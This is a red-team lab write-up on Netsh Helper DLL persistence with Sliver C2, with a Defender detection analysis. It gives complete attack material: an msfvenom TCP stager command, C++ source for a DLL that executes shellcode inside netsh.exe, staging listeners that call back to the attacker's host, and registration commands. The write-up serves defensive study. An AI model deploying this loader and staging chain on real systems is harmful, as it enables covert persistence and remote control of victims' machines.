analyst@windows-lab:~$ inspect red-team/sliver-netsh-helper-dll-persistence-detection
Sliver C2 Lab: Netsh Helper DLL Persistence & Detection
A validated red-team lab combining Sliver staging with a custom Netsh Helper DLL, event-triggered persistence and Microsoft Defender detection analysis.
- Status
- Completed and validated
- Category
- Red Team Operations
- Type
- red team operations
- Difficulty
- Advanced
- Estimated time
- 2–3 hours
- Published
- 1 September 2026
- Last updated
- 1 September 2026
Authorized isolated-lab use only. This experiment was performed on personal VMware virtual machines. Microsoft Defender remained enabled, no antivirus exclusions were created, no protection was disabled and no bypass was attempted. Do not reproduce the technique on a system you do not own or have explicit authorization to test.
Executive summary
This lab reproduces Netsh Helper DLL persistence with Sliver. A custom x64 DLL exports InitHelperDll, the function expected by netsh.exe. After an administrator registers the DLL as a Netsh helper, Windows stores the path under HKLM\SOFTWARE\Microsoft\Netsh. Starting netsh.exe loads the DLL, which runs a small TCP stager inside the Netsh process. The stager retrieves a Sliver stage and establishes an mTLS session with the Kali server.
The lab does not exploit a vulnerability. It abuses a legitimate Windows extension mechanism and maps to MITRE ATT&CK T1546.007 — Netsh Helper DLL. It also does not demonstrate privilege escalation: registration began from an already elevated PowerShell window, UAC was not bypassed and the resulting session ran in the context of the user who launched Netsh.
The most important result was defensive. Static scanning did not initially stop the custom DLL, but Microsoft Defender later detected suspicious behavior associated with netsh.exe, particularly when an interactive shell introduced an anomalous netsh.exe → cmd.exe relationship.
Learning objectives
- Explain how the Netsh helper extension mechanism can provide event-triggered persistence.
- Configure a Sliver mTLS profile and a size-prefixed TCP stage listener.
- Build an x64 Windows DLL with the required
InitHelperDllexport. - Validate architecture, exports, connectivity and file integrity before registration.
- Distinguish registration, execution, persistence and privilege level.
- Compare static detection with behavioral detection.
- Identify Registry, process, image-load, memory and network telemetry.
- Remove both the Netsh registration and the transferred DLL, then restore the snapshot.
Execution chain
Registry
└── netsh.exe
└── netsh-helper.dll
└── TCP stager
└── Sliver stage in memory
└── mTLS session to Kali
The Registry entry survives a reboot, but execution is triggered when netsh.exe starts. This is event-triggered persistence, not an automatic boot or logon mechanism.
MITRE ATT&CK mapping
- T1546.007 — Event Triggered Execution: Netsh Helper DLL is the primary technique.
- T1105 — Ingress Tool Transfer applies to transferring the helper DLL and retrieving the stage.
- T1071 — Application Layer Protocol provides context for the mTLS command-and-control transport.
The DLL’s private-memory allocation and protection change are valuable telemetry, but this implementation executes its own stager bytes inside the host process; it does not inject into a separate process.
Lab topology
| System or service | Role | Lab address |
|---|---|---|
| Kali Linux | Sliver server, compiler and file server | 192.168.112.128 |
| Windows 11 x64 | Controlled endpoint | 192.168.112.132 |
| Sliver client/server | Local operator connection | 127.0.0.1:31337 |
| Sliver mTLS listener | Final session | 8888/TCP |
| TCP stage listener | Stage delivery | 9001/TCP |
| Python HTTP server | DLL transfer | 8000/TCP |
Replace the two VM addresses with your own isolated-network addresses. Do not expose the listeners or file server to the public internet.
Files created on Kali:
/home/kali/Documents/Sliver/
├── payload.h
├── netsh_helper.cpp
└── netsh-helper.dll
Only one custom file was copied to Windows:
C:\Lab\netsh-helper.dll
The Sliver stage was retrieved through TCP 9001 and ran inside netsh.exe; a separate sliver.exe was not copied to the endpoint.
Phase 1 — Record addresses and establish the baseline
On Kali:
ip a
On Windows:
ipconfig
For this execution, the isolated subnet was 192.168.112.0/24, Kali used 192.168.112.128 and Windows used 192.168.112.132.
Before continuing:
- Take clean snapshots of both VMs.
- Confirm the network is isolated from production systems.
- Confirm Microsoft Defender real-time and behavior monitoring are enabled.
- Record the start time and current Defender status.
$LabStart = Get-Date
Get-MpComputerStatus |
Select-Object AntivirusEnabled, RealTimeProtectionEnabled, BehaviorMonitorEnabled
Phase 2 — Validate the Sliver service and client
On Kali, locate the client:
command -v sliver
ls -lh /usr/local/bin/sliver
locate sliver
Run it through PATH or by absolute path:
sliver
/usr/local/bin/sliver
Using ./usr/local/bin/sliver is incorrect because ./ resolves from the current directory rather than the filesystem root.
The initial connection failed with:
Connecting to 127.0.0.1:31337 ...
Connection to server failed context deadline exceeded
Service troubleshooting:
sudo systemctl status sliver --no-pager -l
sudo systemctl restart sliver
sudo systemctl status sliver --no-pager -l
sudo ss -lunp | grep 31337
sudo journalctl -u sliver -n 80 --no-pager
sudo systemctl cat sliver
sudo ls -lh /root/sliver-server
Successful client state:
Server v1.7.3
[127.0.0.1] sliver >
Phase 3 — Create the profile and listeners
Inside the Sliver console, create an x64 Windows profile whose final transport is mTLS:
profiles new --mtls 192.168.112.128:8888 --os windows --arch amd64 --format shellcode win-netsh
No optional shellcode encoder was selected.
Start the mTLS listener and inspect jobs:
mtls --lport 8888
jobs
An accidental second mTLS job was initially created on port 9001 and removed:
jobs -k 2
Sliver v1.7.3 returned the following when HTTP staging was attempted:
Unsupported staging protocol: http
The lab therefore used a TCP stage listener:
stage-listener --url tcp://192.168.112.128:9001 --profile win-netsh
Phase 4 — Build a compatible size-prefixed TCP stager
The older syntax:
generate stager --lhost 192.168.112.128 --lport 9001 --protocol tcp --arch amd64 --format c --save /home/kali/Documents/Sliver/
returned on Sliver v1.7.3:
Error: unknown flag: --lhost
A Metasploit custom TCP stager was used as the compatibility path. Because it expects a size-prefixed stage, recreate the Sliver listener with --prepend-size:
jobs -k 3
stage-listener --url tcp://192.168.112.128:9001 --profile win-netsh --prepend-size
jobs
Expected listener layout:
mTLS listener tcp/8888
TCP stage tcp/9001 prepend-size enabled
Create payload.h from a normal Kali terminal:
mkdir -p ~/Documents/Sliver
msfvenom \
--payload windows/x64/custom/reverse_tcp \
LHOST=192.168.112.128 \
LPORT=9001 \
EXITFUNC=thread \
--format c \
--out ~/Documents/Sliver/payload.h
Observed build information:
Payload size: 511 bytes
Final size of c file: 2179 bytes
Saved as: /home/kali/Documents/Sliver/payload.h
Inspect the generated header:
head -n 8 ~/Documents/Sliver/payload.h
grep -n 'unsigned char' ~/Documents/Sliver/payload.h
wc -c ~/Documents/Sliver/payload.h
The header contains an x64 byte array similar to:
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0...";
The .h file is not compiled by itself. It is included by the C++ DLL source.
Phase 5 — Build the Netsh Helper DLL
Create ~/Documents/Sliver/netsh_helper.cpp:
#include <windows.h>
#include <cstring>
#include "payload.h"
static DWORD WINAPI RunStager(LPVOID)
{
const SIZE_T payloadSize = sizeof(buf) - 1;
void* memory = VirtualAlloc(
nullptr,
payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (memory == nullptr)
return GetLastError();
std::memcpy(memory, buf, payloadSize);
DWORD previousProtection = 0;
if (!VirtualProtect(
memory,
payloadSize,
PAGE_EXECUTE_READ,
&previousProtection))
{
DWORD error = GetLastError();
VirtualFree(memory, 0, MEM_RELEASE);
return error;
}
FlushInstructionCache(
GetCurrentProcess(),
memory,
payloadSize
);
auto entryPoint = reinterpret_cast<void(*)()>(memory);
entryPoint();
VirtualFree(memory, 0, MEM_RELEASE);
return ERROR_SUCCESS;
}
extern "C" __declspec(dllexport)
DWORD WINAPI InitHelperDll(DWORD, PVOID)
{
HANDLE thread = CreateThread(
nullptr,
0,
RunStager,
nullptr,
0,
nullptr
);
if (thread == nullptr)
return GetLastError();
CloseHandle(thread);
return ERROR_SUCCESS;
}
BOOL APIENTRY DllMain(HMODULE, DWORD, LPVOID)
{
return TRUE;
}
Code walkthrough
payload.hsupplies the stager byte array.VirtualAllocreserves private read/write memory.memcpycopies the stager into the allocation.VirtualProtectchanges the region from read/write to read/execute.FlushInstructionCachesynchronizes the CPU instruction cache.entryPoint()transfers execution to the bytes.InitHelperDllis the export expected bynetsh.exe.extern "C"prevents C++ name mangling.__declspec(dllexport)places the function in the DLL export table.CreateThreadprevents the helper initialization path from blocking Netsh.DllMainremains a minimal DLL entry point.
This sequence—private allocation, write, execute-protection transition and execution—is also a useful behavioral detection surface.
Phase 6 — Cross-compile and verify the DLL
Confirm that the MinGW-w64 compiler exists:
x86_64-w64-mingw32-g++ --version
If the compiler is not installed in the disposable Kali VM:
sudo apt update
sudo apt install mingw-w64
Compile the DLL:
cd ~/Documents/Sliver
x86_64-w64-mingw32-g++ \
-std=c++17 \
-O2 \
-shared \
-static-libgcc \
-static-libstdc++ \
-o netsh-helper.dll \
netsh_helper.cpp
Options used:
-std=c++17selects C++17.-O2enables compiler optimization.-sharedbuilds a DLL rather than an executable.-static-libgccand-static-libstdc++embed the required runtime libraries.-osets the output name.
Validate the architecture and required export:
file netsh-helper.dll
x86_64-w64-mingw32-objdump -p netsh-helper.dll | grep InitHelperDll
ls -lh netsh-helper.dll
Observed result:
PE32+ executable for MS Windows (DLL), x86-64
InitHelperDll
Approximate size: 88K
Do not transfer the file unless both the x64 architecture and InitHelperDll export are present.
Phase 7 — Validate connectivity
Confirm that Kali is listening:
sudo ss -lntp | grep -E ':8888|:9001'
From Windows:
Test-NetConnection 192.168.112.128 -Port 9001
Test-NetConnection 192.168.112.128 -Port 8888
Both tests should return:
TcpTestSucceeded : True
If either test fails, stop and correct the isolated-network or listener configuration before registering the DLL.
Phase 8 — Transfer the DLL and verify integrity
On Kali, calculate a fresh hash and start a temporary file server bound only to the lab interface:
cd ~/Documents/Sliver
sha256sum netsh-helper.dll
python3 -m http.server 8000 --bind 192.168.112.128
On Windows:
New-Item -ItemType Directory -Path C:\Lab -Force
Invoke-WebRequest `
-Uri http://192.168.112.128:8000/netsh-helper.dll `
-OutFile C:\Lab\netsh-helper.dll
Get-FileHash C:\Lab\netsh-helper.dll -Algorithm SHA256
The Kali and Windows hashes must match. A previous lab build produced a unique hash, but rebuilding the profile, stager or DLL changes it; always compare the values generated during the current session.
Stop the temporary HTTP server after the transfer.
Phase 9 — Register the helper and trigger persistence
Running the registration from a non-elevated shell returns:
The requested operation requires elevation (Run as administrator).
Open an elevated PowerShell window through the normal UAC prompt:
Start-Process powershell -Verb RunAs
Confirm Defender remains active, then register the helper:
Get-MpComputerStatus |
Select-Object AntivirusEnabled, RealTimeProtectionEnabled, BehaviorMonitorEnabled
netsh add helper "C:\Lab\netsh-helper.dll"
Inspect the Registry location:
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Netsh'
The helper path is persisted under:
HKLM\SOFTWARE\Microsoft\Netsh
Trigger the load:
netsh
Exit the Netsh prompt with:
exit
This step requires Administrator rights because it modifies HKLM. It does not bypass UAC or elevate the Sliver session beyond the context used to launch Netsh.
Phase 10 — Validate the Sliver session
From the Sliver console:
sessions
use <session-id>
info
whoami
pwd
ls
ps
The validated session showed:
Transport: mtls
Remote: 192.168.112.132
OS: windows/amd64
Health: ALIVE
The session identifier and codename are intentionally omitted. Commands such as ls and pwd use native Sliver RPC capabilities and do not necessarily spawn cmd.exe.
An optional screenshot can validate session capability inside the personal VM:
screenshot
Locate recently created images on Kali:
find ~/Documents/Sliver ~/.sliver-client \
-type f -iname '*.png' -mmin -5 \
-printf '%TY-%Tm-%Td %TT %p\n' 2>/dev/null |
sort -r |
head
Before publishing any lab screenshot, remove personal data, unrelated files, usernames and other identifiers.
Microsoft Defender observation
When an interactive shell was requested, the behavior became approximately:
netsh.exe
└── cmd.exe
This parent-child relationship is a strong anomaly because netsh.exe does not normally create an interactive command shell.
Microsoft Defender reported:
Behavior:Win32/AMSI_Patch_T.B12
Severity: Severe
Affected process: C:\Windows\System32\netsh.exe
Status: Removed
The label is a behavioral classification; it does not prove that the custom loader literally patched AMSI. Defender can correlate executable private memory, an unusual Netsh module, network behavior and anomalous child processes.
The custom DLL was not initially stopped by a known static signature. That does not make it safe or undetectable. The later behavioral result demonstrates why static and runtime detection are separate defensive layers.
Do not select Allow, disable Microsoft Defender, add an exclusion or modify the loader to evade the detection. The alert is a successful result of the lab.
Detection engineering
Microsoft Defender detections
Get-MpThreatDetection |
Sort-Object InitialDetectionTime -Descending |
Select-Object -First 5 ThreatName, InitialDetectionTime, ActionSuccess, Resources |
Format-List
Defender Operational events
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' |
Where-Object Id -in 1116,1117 |
Select-Object -First 10 TimeCreated, Id, Message |
Format-List
Host artifacts
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Netsh'
Get-Process netsh -ErrorAction SilentlyContinue
Get-NetTCPConnection -RemoteAddress 192.168.112.128 -ErrorAction SilentlyContinue
High-value detection signals
- A new or changed value under
HKLM\SOFTWARE\Microsoft\Netsh. netsh.exeprocess creation following the Registry modification.- A DLL loaded into
netsh.exefrom a user-writable or unusual path such asC:\Lab. - Private-memory transition from read/write to read/execute.
netsh.execonnections to the stage and mTLS listener ports.netsh.exe → cmd.exeor another unusual child process.- Sysmon Event ID
1— Process Create. - Sysmon Event ID
3— Network Connection. - Sysmon Event ID
7— Image Load, when enabled by the Sysmon configuration. - Security Event ID
4657— Registry Value Modified, when Registry auditing is configured.
Detection correlation model
| Stage | Evidence | Stronger correlation |
|---|---|---|
| Registration | Netsh Registry value added or changed | Path points outside trusted Windows directories |
| Trigger | netsh.exe starts |
Shortly follows helper registration |
| Module load | Unusual DLL loaded into Netsh | Unsigned/custom DLL from a writable directory |
| Memory | Private region becomes executable | Network activity follows the transition |
| Stage retrieval | Netsh connects to TCP 9001 | Destination is a workstation or unusual host |
| Final transport | Netsh connects to TCP 8888 | Long-lived encrypted connection |
| Interactive behavior | netsh.exe → cmd.exe |
Defender/EDR behavioral alert |
No single event proves compromise. The useful detection joins Registry, image-load, process, memory and network events across a short time window.
Troubleshooting record
Sliver client cannot reach 127.0.0.1:31337
- Inspect and restart the systemd service.
- Confirm the listener with
ss. - Review
journalctloutput and the service definition. - Verify the server binary referenced by the unit exists.
HTTP staging is unsupported
Sliver v1.7.3 returned Unsupported staging protocol: http. Use the tested TCP listener rather than repeatedly changing unrelated components.
Generated stager flags are rejected
The installed version did not accept the older --lhost syntax. The validated workaround used a compatible custom TCP stager and enabled --prepend-size on the Sliver stage listener.
No session appears
- Confirm TCP 9001 and 8888 are reachable from Windows.
- Confirm the stage listener uses
--prepend-size. - Confirm the profile points to the correct Kali mTLS address.
- Confirm the DLL is x64 and exports
InitHelperDll. - Check whether Microsoft Defender blocked or removed the behavior.
- Do not disable security controls to force a session.
Netsh registration requires elevation
This is expected. Use the normal UAC prompt in the disposable lab. The technique is not a UAC bypass.
Cleanup and restoration
Remove the helper registration from an elevated Windows PowerShell window:
netsh delete helper C:\Lab\netsh-helper.dll
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Netsh'
Confirm that the custom helper path is absent before deleting the file:
Remove-Item -LiteralPath 'C:\Lab\netsh-helper.dll' -Force -ErrorAction SilentlyContinue
In Sliver:
background
sessions
sessions -k <session-id>
jobs
Stop the stage and mTLS jobs created for the lab, then stop the temporary HTTP server.
Deleting only the DLL is insufficient if the Registry value remains. The safest final cleanup is to restore both VMs from their clean snapshots and confirm that no listener or session remains.
Completion checklist
- Sliver service is active and the client connects to
127.0.0.1:31337. - The mTLS listener is active on TCP 8888.
- The TCP stage listener is active on TCP 9001 with
--prepend-size. - The profile targets Windows amd64 and the lab mTLS address.
-
payload.hcontainsunsigned char buf[]. - The DLL is a PE32+ x64 Windows DLL.
- The
InitHelperDllexport is present. - Connectivity to TCP 8888 and 9001 succeeds.
- Kali and Windows DLL hashes match.
- Registration is performed only from elevated PowerShell.
- Microsoft Defender remains enabled.
- The mTLS session is validated without publishing sensitive identifiers.
- Defender and host telemetry are preserved.
- The helper registration and DLL are removed.
- Sliver sessions/listeners are stopped and snapshots are restored.
Key findings
- Netsh Helper DLL is a legitimate extensibility mechanism that can be abused for event-triggered persistence.
- The Registry value persists across reboot, but execution still requires the Netsh trigger.
- The custom DLL was the only lab-built file copied to Windows; the Sliver stage executed inside
netsh.exe. - Static and behavioral detection represent different layers of defense.
- Native Sliver RPC functionality and an interactive shell produced different detection profiles.
- A strong defender correlates Registry, process, module-load, memory and network telemetry.
- The exercise did not exploit a CVE, bypass UAC, escalate privileges or bypass Microsoft Defender.